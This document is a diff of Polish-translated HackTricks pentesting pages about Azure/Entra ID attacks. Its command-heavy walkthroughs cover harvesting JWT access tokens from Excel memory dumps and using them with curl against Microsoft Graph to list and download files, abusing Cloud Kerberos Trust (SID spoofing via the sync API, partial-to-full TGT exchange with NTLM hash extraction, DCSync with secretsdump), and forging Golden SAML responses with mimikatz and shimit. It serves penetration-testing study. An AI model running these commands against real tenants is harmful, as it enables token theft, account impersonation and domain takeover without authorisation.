+### Public Tools and Proof-of-Concepts
+
+- [ROADtools/ROADtx](https://github.com/dirkjanm/ROADtools): Automatyzuje przepływ OAuth, rejestrację urządzeń i aktualizacje tokenów.
+- [DeviceCode2WinHello](https://github.com/kiwids0220/deviceCode2WinHello): Skrypt jednego polecenia automatyzujący phishing kodu urządzenia do PRT+WHfB kluczy.
+
+
+## References
+
+- [Dirkjan's blog post on PRT](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
+- [Dirkjan's post on phishing PRTs](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
+- [Dirkjan's post on abusing PRTs](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)
+- SpecterOps post on [Requesting Azure AD Request Tokens](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30)
+- [AADInternals post on PRTs](https://aadinternals.com/post/prt/)
+- [blog.3or.de](https://blog.3or.de/understanding-primary-refresh-tokens-and-cve-2021-33779-how-pass-the-prt-was-eliminated#:~:text=,the%20Token%20Broker%20on%20Windows)

 {{#include ../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md
@@ -1,16 +1,16 @@
-# Az - Procesy Token Dostępu do Pamięci
+# Az - Processes Memory Access Token

 {{#include ../../../banners/hacktricks-training.md}}

-## **Podstawowe Informacje**
+## **Podstawowe informacje**

-Jak wyjaśniono w [**tym filmie**](https://www.youtube.com/watch?v=OHKZkXC4Duw), niektóre oprogramowanie Microsoftu synchronizowane z chmurą (Excel, Teams...) może **przechowywać tokeny dostępu w postaci tekstu jawnego w pamięci**. Tak więc, po prostu **zrzucenie** **pamięci** procesu i **przeszukiwanie tokenów JWT** może dać ci dostęp do kilku zasobów ofiary w chmurze, omijając MFA.
+Jak wyjaśniono w [**tym filmie**](https://www.youtube.com/watch?v=OHKZkXC4Duw), niektóre oprogramowanie Microsoftu synchronizowane z chmurą (Excel, Teams...) może **przechowywać tokeny dostępu w postaci tekstu jawnego w pamięci**. Tak więc, po prostu **zrzucenie** **pamięci** procesu i **przeszukiwanie** pod kątem tokenów JWT może dać ci dostęp do kilku zasobów ofiary w chmurze, omijając MFA.

 Kroki:

 1. Zrzutuj procesy excela synchronizowane z użytkownikiem EntraID za pomocą swojego ulubionego narzędzia.
 2. Uruchom: `string excel.dmp | grep 'eyJ0'` i znajdź kilka tokenów w wynikach
-3. Znajdź tokeny, które najbardziej cię interesują i uruchom narzędzia na nich:
+3. Znajdź tokeny, które najbardziej cię interesują, i uruchom nad nimi narzędzia:
 ```bash
 # Check the identity of the token
 curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq
@@ -27,8 +27,7 @@ curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/site
 curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq

 ## Finally, download a file from that drive:
-┌──(magichk㉿black-pearl)-[~]
-└─$ curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
+curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
 ```
 **Zauważ, że tego rodzaju tokeny dostępu można również znaleźć w innych procesach.**

--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md
@@ -4,46 +4,72 @@

 **Ten post jest podsumowaniem** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **który można sprawdzić w celu uzyskania dalszych informacji na temat ataku. Ta technika jest również omówiona w** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**.**

-## Podstawowe informacje
+## Przegląd relacji zaufania Kerberos

-### Zaufanie
+**Cloud Kerberos Trust (Entra ID -> AD)** -- Ta funkcja (część Windows Hello for Business) ustanawia jednostronne zaufanie, w którym lokalne AD **ufa Entra ID** w wydawaniu biletów Kerberos dla AD. Włączenie tej funkcji tworzy obiekt komputera **AzureADKerberos$** w AD (pojawiający się jako kontroler domeny tylko do odczytu) oraz powiązane konto **`krbtgt_AzureAD`** (drugorzędny KRBTGT). Entra ID przechowuje klucze dla tych kont i może wydawać "częściowe" TGT Kerberos dla użytkowników AD. Kontrolery domeny AD będą honorować te bilety, ale z ograniczeniami podobnymi do RODC: domyślnie **grupy o wysokich uprawnieniach (Domain Admins, Enterprise Admins itp.) są *odrzucane***, a zwykli użytkownicy są dozwoleni. To uniemożliwia Entra ID uwierzytelnianie administratorów domeny za pośrednictwem zaufania w normalnych warunkach. Jednak, jak zobaczymy, atakujący z wystarczającymi uprawnieniami Entra ID może nadużyć ten projekt zaufania.

-Gdy zaufanie jest ustanowione z Azure AD, **tworzony jest Read Only Domain Controller (RODC) w AD.** **Konto komputera RODC** nosi nazwę **`AzureADKerberos$`**. Ponadto, istnieje drugie konto `krbtgt` o nazwie **`krbtgt_AzureAD`**. To konto zawiera **klucze Kerberos** używane do biletów, które tworzy Azure AD.
+## Przechodzenie z Entra ID do lokalnego AD

-Dlatego, jeśli to konto zostanie skompromitowane, możliwe byłoby podszywanie się pod dowolnego użytkownika... chociaż to nie jest prawda, ponieważ to konto jest zapobiegane w tworzeniu biletów dla jakiejkolwiek wspólnej grupy uprzywilejowanej AD, takiej jak Domain Admins, Enterprise Admins, Administrators...
+**Scenariusz:** Docelowa organizacja ma włączone **Cloud Kerberos Trust** dla uwierzytelniania bezhasłowego. Atakujący uzyskał uprawnienia **Global Administrator** w Entra ID (Azure AD), ale **jeszcze nie** kontroluje lokalnego AD. Atakujący ma również dostęp do kontrolera domeny (poprzez VPN lub maszynę wirtualną Azure w sieci hybrydowej). Korzystając z zaufania w chmurze, atakujący może wykorzystać kontrolę Azure AD, aby uzyskać dostęp na poziomie **Domain Admin** w AD.

-> [!CAUTION]
-> Jednak w rzeczywistym scenariuszu będą uprzywilejowani użytkownicy, którzy nie są w tych grupach. Tak więc **nowe konto krbtgt, jeśli zostanie skompromitowane, mogłoby być użyte do podszywania się pod nich.**
+**Wymagania wstępne:**

-### Kerberos TGT
+-   **Cloud Kerberos Trust** jest skonfigurowane w środowisku hybrydowym (wskaźnik: konto `AzureADKerberos$` RODC istnieje w AD).

-Ponadto, gdy użytkownik uwierzytelnia się w systemie Windows, korzystając z tożsamości hybrydowej, **Azure AD** wyda **częściowy bilet Kerberos wraz z PRT.** TGT jest częściowy, ponieważ **AzureAD ma ograniczone informacje** o użytkowniku w lokalnym AD (takie jak identyfikator zabezpieczeń (SID) i nazwa).\
-Windows może następnie **wymienić ten częściowy TGT na pełne TGT**, żądając biletu usługi dla usługi `krbtgt`.
+-   Atakujący ma prawa **Global Admin (lub Hybrid Identity Admin)** w tenantcie Entra ID (te role mogą używać **API synchronizacji** AD Connect do modyfikacji użytkowników Azure AD).

-### NTLM
+-   Co najmniej jedno **konto użytkownika hybrydowego** (istnieje zarówno w AD, jak i AAD), jako którym atakujący może się uwierzytelnić. Można je uzyskać, znając lub resetując jego dane uwierzytelniające lub przypisując metodę bezhasłową (np. Temporary Access Pass), aby wygenerować Primary Refresh Token (PRT) dla niego.

-Ponieważ mogą istnieć usługi, które nie obsługują uwierzytelniania Kerberos, ale NTLM, możliwe jest zażądanie **częściowego TGT podpisanego przy użyciu drugiego klucza `krbtgt`**, w tym pola **`KERB-KEY-LIST-REQ`** w części **PADATA** żądania, a następnie uzyskanie pełnego TGT podpisanego głównym kluczem `krbtgt` **w tym hasz NT w odpowiedzi**.
+-   **Konto docelowe on-prem AD** z wysokimi uprawnieniami, które *nie* znajduje się w domyślnej polityce "deny" RODC. W praktyce doskonałym celem jest **konto synchronizacji AD Connect** (często nazywane **MSOL_***), które ma prawa DCSync (replikacji) w AD, ale zazwyczaj nie jest członkiem wbudowanych grup administracyjnych. To konto zazwyczaj nie jest synchronizowane z Entra ID, co sprawia, że jego SID jest dostępny do podszywania się bez konfliktu.

-## Wykorzystywanie zaufania Cloud Kerberos do uzyskania uprawnień Domain Admin <a href="#abusing-cloud-kerberos-trust-to-obtain-domain-admin" id="abusing-cloud-kerberos-trust-to-obtain-domain-admin"></a>
+**Kroki ataku:**

-Gdy AzureAD generuje **częściowe TGT**, będzie korzystać z danych, które ma o użytkowniku. Dlatego, jeśli Global Admin mógłby zmodyfikować dane, takie jak **identyfikator zabezpieczeń i nazwa użytkownika w AzureAD**, podczas żądania TGT dla tego użytkownika **identyfikator zabezpieczeń byłby inny**.
+1.  **Uzyskaj dostęp do API synchronizacji Azure AD:** Używając konta Global Admin, zdobądź token dostępu do **API Provisioning (sync) Azure AD**. Można to zrobić za pomocą narzędzi takich jak **ROADtools** lub **AADInternals**. Na przykład, z ROADtools (roadtx):
+```bash
+# Using roadtx to get an Azure AD Graph token (no MFA)
+roadtx gettokens -u <GlobalAdminUPN> -p <Password> --resource aadgraph
+```
+*(Alternatywnie, `Connect-AADInt` z AADInternals może być użyty do uwierzytelnienia jako Global Admin.)*

-Nie jest możliwe zrobienie tego przez Microsoft Graph lub Azure AD Graph, ale możliwe jest użycie **API, które używa Active Directory Connect** do tworzenia i aktualizacji synchronizowanych użytkowników, co może być użyte przez Global Adminów do **zmiany nazwy SAM i SID dowolnego użytkownika hybrydowego**, a następnie, jeśli się uwierzytelniamy, otrzymujemy częściowe TGT zawierające zmodyfikowany SID.
+2.  **Zmodyfikuj atrybuty użytkownika hybrydowego w on-prem:** Wykorzystaj **API synchronizacji Azure AD**, aby ustawić wybranego użytkownika hybrydowego **onPremises Security Identifier (SID)** i **onPremises SAMAccountName**, aby odpowiadały docelowemu kontu AD. To skutecznie informuje Azure AD, że użytkownik w chmurze odpowiada kontu on-prem, które chcemy udawać. Używając otwartoźródłowego zestawu narzędzi **ROADtools Hybrid**:
+```bash
+# Example: modify a hybrid user to impersonate the MSOL account
+python3 modifyuser.py -u <GlobalAdminUPN> -p <Password>\
+--sourceanchor <ImmutableID_of_User>\
+--sid <TargetAD_SID> --sam <TargetAD_SAMName>
+```
+> `sourceAnchor` (niezmienny identyfikator) użytkownika jest potrzebny do zidentyfikowania obiektu Azure AD do modyfikacji. Narzędzie ustawia lokalny SID użytkownika hybrydowego i nazwę konta SAM na wartości docelowe (np. SID i SAM konta MSOL_xxxx). Azure AD zazwyczaj zabrania zmiany tych atrybutów za pomocą Graph (są one tylko do odczytu), ale API usługi synchronizacji na to pozwala, a Global Admins mogą wywołać tę funkcjonalność synchronizacji.

-Zauważ, że możemy to zrobić z AADInternals i zaktualizować synchronizowanych użytkowników za pomocą polecenia [Set-AADIntAzureADObject](https://aadinternals.com/aadinternals/#set-aadintazureadobject-a).
+3.  **Uzyskaj częściowy TGT z Azure AD:** Po modyfikacji, uwierzytelnij się jako użytkownik hybrydowy w Azure AD (na przykład, uzyskując PRT na urządzeniu lub używając ich poświadczeń). Gdy użytkownik loguje się (szczególnie na urządzeniu z dołączonym do domeny lub dołączonym do Entra systemem Windows), Azure AD wyda **częściowy Kerberos TGT (TGT**<sub>**AD**</sub>) dla tego konta, ponieważ Cloud Kerberos Trust jest włączony. Ten częściowy TGT jest szyfrowany kluczem AzureADKerberos$ RODC i zawiera **docelowy SID**, który ustawiliśmy. Możemy to zasymulować, żądając PRT dla użytkownika za pomocą ROADtools:
+```bash
+roadtx getprt -u <HybridUserUPN> -p <Password> -d <DeviceID_or_Cert>
+```
+To jest plik `.prt`, który zawiera częściowy TGT i klucz sesji. Jeśli konto miało hasło tylko w chmurze, Azure AD nadal zawiera TGT_AD w odpowiedzi PRT.

-### Wymagania wstępne ataku <a href="#attack-prerequisites" id="attack-prerequisites"></a>
+4.  **Wymiana częściowego TGT na pełne TGT (w AD):** Częściowe TGT można teraz przedstawić lokalnemu kontrolerowi domeny, aby uzyskać **pełne TGT** dla docelowego konta. Robimy to, wykonując żądanie TGS dla usługi `krbtgt` (głównej usługi TGT domeny) -- zasadniczo aktualizując bilet do normalnego TGT z pełnym PAC. Narzędzia są dostępne, aby zautomatyzować tę wymianę. Na przykład, używając skryptu ROADtools Hybrid:
+```bash
+# Use the partial TGT from the PRT file to get a full TGT and NTLM hash
+python3 partialtofulltgt.py -p roadtx.prt -o full_tgt.ccache --extract-hash
+```
+Ten skrypt (lub jego odpowiedniki w Impacket) skontaktuje się z kontrolerem domeny i pobierze ważny TGT dla docelowego konta AD, w tym hasz NTLM konta, jeśli używana jest specjalna rozszerzenie Kerberos. Rozszerzenie **`KERB-KEY-LIST-REQ`** jest automatycznie dołączane, aby poprosić DC o zwrócenie hasza NTLM docelowego konta w zaszyfrowanej odpowiedzi. Wynikiem jest pamięć podręczna poświadczeń (`full_tgt.ccache`) dla docelowego konta *lub* odzyskany hasz hasła NTLM.

-Sukces ataku i uzyskanie uprawnień Domain Admin zależy od spełnienia określonych wymagań wstępnych:
+5.  **Impersonacja celu i podniesienie uprawnień do administratora domeny:** Teraz atakujący efektywnie **kontroluje docelowe konto AD**. Na przykład, jeśli celem było konto AD Connect **MSOL**, ma ono prawa replikacji w katalogu. Atakujący może przeprowadzić atak **DCSync** używając poświadczeń tego konta lub Kerberos TGT, aby zrzucić hasze haseł z AD (w tym konto domeny KRBTGT). Na przykład:
+```bash
+# Using impacket's secretsdump to DCSync as the MSOL account (using NTLM hash)
+secretsdump.py 'AD_DOMAIN/<TargetSAM>$@<DC_IP>' -hashes :<NTLM_hash> LOCAL
+```
+To jest zrzut wszystkich hashy haseł użytkowników AD, dając atakującemu hash KRBTGT (pozwalając im na fałszowanie biletów Kerberos w domenie według uznania) i efektywnie **uprawnienia Domain Admin** w AD. Jeśli docelowe konto byłoby innym uprzywilejowanym użytkownikiem, atakujący mógłby użyć pełnego TGT, aby uzyskać dostęp do dowolnego zasobu domenowego jako ten użytkownik.

- Zdolność do zmiany kont za pomocą API Synchronizacji jest kluczowa. Można to osiągnąć, mając rolę Global Admin lub posiadając konto synchronizacji AD Connect. Alternatywnie, rola Administratora Tożsamości Hybrydowej byłaby wystarczająca, ponieważ daje możliwość zarządzania AD Connect i tworzenia nowych kont synchronizacji.
- Obecność **konta hybrydowego** jest niezbędna. To konto musi być podatne na modyfikację danymi ofiary i powinno być również dostępne do uwierzytelnienia.
- Identyfikacja **docelowego konta ofiary** w Active Directory jest koniecznością. Chociaż atak można przeprowadzić na dowolnym koncie już zsynchronizowanym, tenant Azure AD nie może mieć zreplikowanych identyfikatorów zabezpieczeń lokalnych, co wymaga modyfikacji niesynchronizowanego konta, aby uzyskać bilet.
- Dodatkowo, to konto powinno posiadać uprawnienia równoważne uprawnieniom administratora domeny, ale nie powinno być członkiem typowych grup administratorów AD, aby uniknąć generowania nieprawidłowych TGT przez RODC AzureAD.
- Najlepszym celem jest **konto Active Directory używane przez usługę synchronizacji AD Connect**. To konto nie jest synchronizowane z Azure AD, co czyni jego SID odpowiednim celem, a z racji swojej roli w synchronizacji skrótów haseł (zakładając, że synchronizacja haseł jest aktywna) ma z natury uprawnienia równoważne uprawnieniom Domain Admin. Dla domen z ekspresową instalacją, to konto jest poprzedzone **MSOL\_**. W innych przypadkach konto można zidentyfikować, enumerując wszystkie konta obdarzone uprawnieniami replikacji katalogu na obiekcie domeny.
+6.  **Czyszczenie:** Opcjonalnie, atakujący może przywrócić oryginalne `onPremisesSAMAccountName` i SID zmodyfikowanego użytkownika Azure AD za pomocą tego samego interfejsu API lub po prostu usunąć wszelkich tymczasowych użytkowników utworzonych. W wielu przypadkach następny cykl synchronizacji Azure AD Connect automatycznie przywróci nieautoryzowane zmiany w synchronizowanych atrybutach. (Jednak w tym momencie szkody są już wyrządzone -- atakujący ma uprawnienia DA.)
+
+> [!WARNING]
+> Wykorzystując zaufanie do chmury i mechanizm synchronizacji, Global Admin Azure AD może podszyć się pod niemal *jakiekolwiek* konto AD, które nie jest wyraźnie chronione przez politykę RODC, nawet jeśli to konto nigdy nie było synchronizowane z chmurą. W domyślnej konfiguracji, to **tworzy pełne zaufanie od kompromitacji Azure AD do kompromitacji lokalnego AD**.
+
+
+## References
+
+- [Obtaining Domain Admin from Azure AD via Cloud Kerberos Trust](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/)

-### Pełny atak <a href="#the-full-attack" id="the-full-attack"></a>

-Sprawdź to w oryginalnym poście: [https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/)

 {{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md
@@ -1,9 +0,0 @@
-# Az - Domyślne Aplikacje
-
-{{#include ../../../../banners/hacktricks-training.md}}
-
-**Sprawdź technikę w:** [**https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/**](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**,** [**https://www.youtube.com/watch?v=JEIR5oGCwdg**](https://www.youtube.com/watch?v=JEIR5oGCwdg) i [**https://www.youtube.com/watch?v=xei8lAPitX8**](https://www.youtube.com/watch?v=xei8lAPitX8)
-
-Post na blogu omawia lukę w eskalacji uprawnień w Azure AD, która pozwala administratorom aplikacji lub skompromitowanym kontom synchronizacji lokalnej na eskalację uprawnień poprzez przypisywanie poświadczeń do aplikacji. Luka, wynikająca z "zaplanowanego" zachowania Azure AD w zakresie obsługi aplikacji i głównych usług, szczególnie dotyczy domyślnych aplikacji Office 365. Mimo że zgłoszona, kwestia ta nie jest uznawana za lukę przez Microsoft z powodu dokumentacji dotyczącej przypisywania praw administracyjnych. Post dostarcza szczegółowych informacji technicznych i zaleca regularne przeglądy poświadczeń głównych usług w środowiskach Azure AD. Aby uzyskać bardziej szczegółowe informacje, możesz odwiedzić oryginalny post na blogu.
-
-{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-federation.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-federation.md
@@ -4,30 +4,29 @@

 ## Podstawowe informacje

-[Z dokumentacji:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**Federacja** to zbiór **domen**, które nawiązały **zaufanie**. Poziom zaufania może się różnić, ale zazwyczaj obejmuje **uwierzytelnianie** i prawie zawsze obejmuje **autoryzację**. Typowa federacja może obejmować **liczne organizacje**, które nawiązały **zaufanie** do **wspólnego dostępu** do zestawu zasobów.
+[Z dokumentacji:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)

-Możesz **federować swoje lokalne** środowisko **z Azure AD** i używać tej federacji do uwierzytelniania i autoryzacji. Ta metoda logowania zapewnia, że wszystkie **uwierzytelnienia użytkowników odbywają się lokalnie**. Ta metoda pozwala administratorom na wdrożenie bardziej rygorystycznych poziomów kontroli dostępu. Federacja z **AD FS** i PingFederate jest dostępna.
+>**Federacja** to zbiór **domen**, które nawiązały **zaufanie**. Poziom zaufania może się różnić, ale zazwyczaj obejmuje **uwierzytelnianie** i prawie zawsze obejmuje **autoryzację**. Typowa federacja może obejmować **liczne organizacje**, które nawiązały **zaufanie** do **wspólnego dostępu** do zestawu zasobów.
+>Możesz **federować swoje lokalne** środowisko **z Azure AD** i używać tej federacji do uwierzytelniania i autoryzacji. Ta metoda logowania zapewnia, że wszystkie **uwierzytelnienia użytkowników odbywają się lokalnie**. Ta metoda pozwala administratorom na wdrożenie bardziej rygorystycznych poziomów kontroli dostępu. Federacja z **AD FS** i PingFederate jest dostępna.

 <figure><img src="../../../../images/image (154).png" alt=""><figcaption></figcaption></figure>

-W zasadzie, w Federacji, wszystkie **uwierzytelnienia** odbywają się w **lokalnym** środowisku, a użytkownik doświadcza SSO we wszystkich zaufanych środowiskach. Dlatego użytkownicy mogą **uzyskiwać dostęp** do **aplikacji** w chmurze, używając swoich **lokalnych poświadczeń**.
+W zasadzie w Federacji wszystkie **uwierzytelnienia** odbywają się w **lokalnym** środowisku, a użytkownik doświadcza SSO we wszystkich zaufanych środowiskach. Dlatego użytkownicy mogą **uzyskiwać dostęp** do **aplikacji** w chmurze, używając swoich **lokalnych poświadczeń**.

 **Security Assertion Markup Language (SAML)** jest używany do **wymiany** wszystkich informacji o uwierzytelnianiu i autoryzacji między dostawcami.

-W każdej konfiguracji federacji są trzy strony:
+W każdej konfiguracji federacyjnej są trzy strony:

 - Użytkownik lub Klient
 - Dostawca tożsamości (IdP)
 - Dostawca usług (SP)

-(Obrazy z https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
-
-<figure><img src="../../../../images/image (121).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../../images/image (121).png" alt="https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps"><figcaption>https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps</figcaption></figure>

 1. Początkowo aplikacja (Dostawca usług lub SP, taka jak konsola AWS lub klient webowy vSphere) jest dostępna dla użytkownika. Ten krok może być pominięty, prowadząc klienta bezpośrednio do IdP (Dostawca tożsamości) w zależności od konkretnej implementacji.
 2. Następnie SP identyfikuje odpowiedni IdP (np. AD FS, Okta) do uwierzytelniania użytkownika. Następnie tworzy żądanie AuthnRequest SAML (Security Assertion Markup Language) i przekierowuje klienta do wybranego IdP.
-3. IdP przejmuje, uwierzytelniając użytkownika. Po uwierzytelnieniu, IdP formułuje SAMLResponse i przesyła go do SP przez użytkownika.
-4. Na koniec SP ocenia SAMLResponse. Jeśli zostanie pomyślnie zweryfikowany, co oznacza zaufanie do IdP, użytkownik uzyskuje dostęp. To kończy proces logowania, umożliwiając użytkownikowi korzystanie z usługi.
+3. IdP przejmuje kontrolę, uwierzytelniając użytkownika. Po uwierzytelnieniu, IdP formułuje SAMLResponse i przesyła go do SP przez użytkownika.
+4. Na koniec SP ocenia SAMLResponse. Jeśli zostanie pomyślnie zweryfikowany, co oznacza zaufanie do IdP, użytkownik uzyskuje dostęp. To oznacza zakończenie procesu logowania, umożliwiając użytkownikowi korzystanie z usługi.

 **Jeśli chcesz dowiedzieć się więcej o uwierzytelnianiu SAML i powszechnych atakach, przejdź do:**

@@ -46,7 +45,7 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html

 **Atak Golden SAML:**

- W ADFS, odpowiedź SAML jest podpisywana przez certyfikat podpisywania tokenów.
+- W ADFS, SAML Response jest podpisywany przez certyfikat podpisywania tokenów.
 - Jeśli certyfikat zostanie skompromitowany, możliwe jest uwierzytelnienie do Azure AD jako DOWOLNY użytkownik zsynchronizowany z Azure AD!
 - Tak jak w przypadku nadużycia PTA, zmiana hasła dla użytkownika lub MFA nie będzie miała żadnego wpływu, ponieważ fałszujemy odpowiedź uwierzytelniającą.
 - Certyfikat można wyodrębnić z serwera AD FS z uprawnieniami DA, a następnie można go używać z dowolnej maszyny podłączonej do Internetu.
@@ -54,20 +53,20 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html

 ### Golden SAML

-Proces, w którym **Dostawca tożsamości (IdP)** produkuje **SAMLResponse** w celu autoryzacji logowania użytkownika, jest kluczowy. W zależności od konkretnej implementacji IdP, **odpowiedź** może być **podpisana** lub **szyfrowana** przy użyciu **prywatnego klucza IdP**. Procedura ta umożliwia **Dostawcy usług (SP)** potwierdzenie autentyczności SAMLResponse, zapewniając, że rzeczywiście została wydana przez zaufany IdP.
+Proces, w którym **Dostawca tożsamości (IdP)** produkuje **SAMLResponse** w celu autoryzacji logowania użytkownika, jest kluczowy. W zależności od konkretnej implementacji IdP, **odpowiedź** może być **podpisana** lub **szyfrowana** przy użyciu **prywatnego klucza IdP**. Procedura ta umożliwia **Dostawcy usług (SP)** potwierdzenie autentyczności SAMLResponse, zapewniając, że została ona wydana przez zaufany IdP.

-Można to porównać z [atakiem na złoty bilet](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket), gdzie klucz uwierzytelniający tożsamość i uprawnienia użytkownika (KRBTGT dla złotych biletów, prywatny klucz podpisywania tokenów dla złotego SAML) może być manipulowany w celu **fałszowania obiektu uwierzytelniającego** (TGT lub SAMLResponse). To pozwala na podszywanie się pod dowolnego użytkownika, przyznając nieautoryzowany dostęp do SP.
+Można to porównać do [ataku na złoty bilet](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket), gdzie klucz uwierzytelniający tożsamość i uprawnienia użytkownika (KRBTGT dla złotych biletów, prywatny klucz podpisywania tokenów dla złotego SAML) może być manipulowany w celu **fałszowania obiektu uwierzytelniającego** (TGT lub SAMLResponse). To pozwala na podszywanie się pod dowolnego użytkownika, przyznając nieautoryzowany dostęp do SP.

 Złote SAML oferują pewne zalety:

- Mogą być **tworzone zdalnie**, bez potrzeby bycia częścią domeny lub federacji.
+- Mogą być **tworzone zdalnie**, bez potrzeby bycia częścią domeny lub federacji w danym przypadku.
 - Pozostają skuteczne nawet przy włączonym **uwierzytelnianiu dwuskładnikowym (2FA)**.
- Prywatny klucz podpisywania **tokenów nie odnawia się automatycznie**.
+- Prywatny klucz podpisywania **nie odnawia się automatycznie**.
 - **Zmiana hasła użytkownika nie unieważnia** już wygenerowanego SAML.

 #### AWS + AD FS + Golden SAML

-[Usługi federacji Active Directory (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) to usługa Microsoftu, która ułatwia **bezpieczną wymianę informacji o tożsamości** między zaufanymi partnerami biznesowymi (federacja). W zasadzie pozwala usłudze domeny na dzielenie się tożsamościami użytkowników z innymi dostawcami usług w ramach federacji.
+[Usługi Federacji Active Directory (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) to usługa Microsoftu, która ułatwia **bezpieczną wymianę informacji o tożsamości** między zaufanymi partnerami biznesowymi (federacja). W zasadzie pozwala usłudze domeny na dzielenie się tożsamościami użytkowników z innymi dostawcami usług w ramach federacji.

 Z AWS ufającym skompromitowanej domenie (w federacji), ta luka może być wykorzystana do potencjalnego **zdobycia dowolnych uprawnień w środowisku AWS**. Atak wymaga **prywatnego klucza używanego do podpisywania obiektów SAML**, podobnie jak w przypadku potrzeby KRBTGT w ataku na złoty bilet. Dostęp do konta użytkownika AD FS jest wystarczający, aby uzyskać ten prywatny klucz.

@@ -77,13 +76,13 @@ Wymagania do przeprowadzenia ataku Golden SAML obejmują:
 - **Publiczny certyfikat IdP**
 - **Nazwa IdP**
 - **Nazwa roli (rola do przyjęcia)**
- Domen\username
- Nazwa sesji roli w AWS
- ID konta Amazon
+- Domenę\username
+- Nazwę sesji roli w AWS
+- Identyfikator konta Amazon

 _Tylko elementy pogrubione są obowiązkowe. Pozostałe można wypełnić według uznania._

-Aby uzyskać **prywatny klucz**, konieczny jest dostęp do **konta użytkownika AD FS**. Stamtąd prywatny klucz można **wyeksportować z osobistego magazynu** za pomocą narzędzi takich jak [mimikatz](https://github.com/gentilkiwi/mimikatz). Aby zebrać inne wymagane informacje, można wykorzystać snapin Microsoft.Adfs.Powershell w następujący sposób, upewniając się, że jesteś zalogowany jako użytkownik ADFS:
+Aby uzyskać **prywatny klucz**, konieczny jest dostęp do **konta użytkownika AD FS**. Stamtąd prywatny klucz można **wyeksportować z osobistego magazynu** za pomocą narzędzi takich jak [mimikatz](https://github.com/gentilkiwi/mimikatz). Aby zebrać inne wymagane informacje, możesz wykorzystać snapin Microsoft.Adfs.Powershell w następujący sposób, upewniając się, że jesteś zalogowany jako użytkownik ADFS:
 ```bash
 # From an "AD FS" session
 # After having exported the key with mimikatz
@@ -97,7 +96,7 @@ Aby uzyskać **prywatny klucz**, konieczny jest dostęp do **konta użytkownika
 # Role Name
 (Get-ADFSRelyingPartyTrust).IssuanceTransformRule
 ```
-Dzięki wszystkim informacjom, możliwe jest zapomnienie o ważnym SAMLResponse jako użytkownik, którego chcesz udawać, używając [**shimit**](https://github.com/cyberark/shimit)**:**
+Z wszystkimi informacjami możliwe jest zapomnienie o ważnym SAMLResponse jako użytkownik, którego chcesz udawać, używając [**shimit**](https://github.com/cyberark/shimit)**:**
 ```bash
 # Apply session for AWS cli
 python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
@@ -112,7 +111,7 @@ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -
 # Save SAMLResponse to file
 python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml
 ```
-<figure><img src="../../../../images/image (128).png" alt=""><figcaption></figcaption></figure>
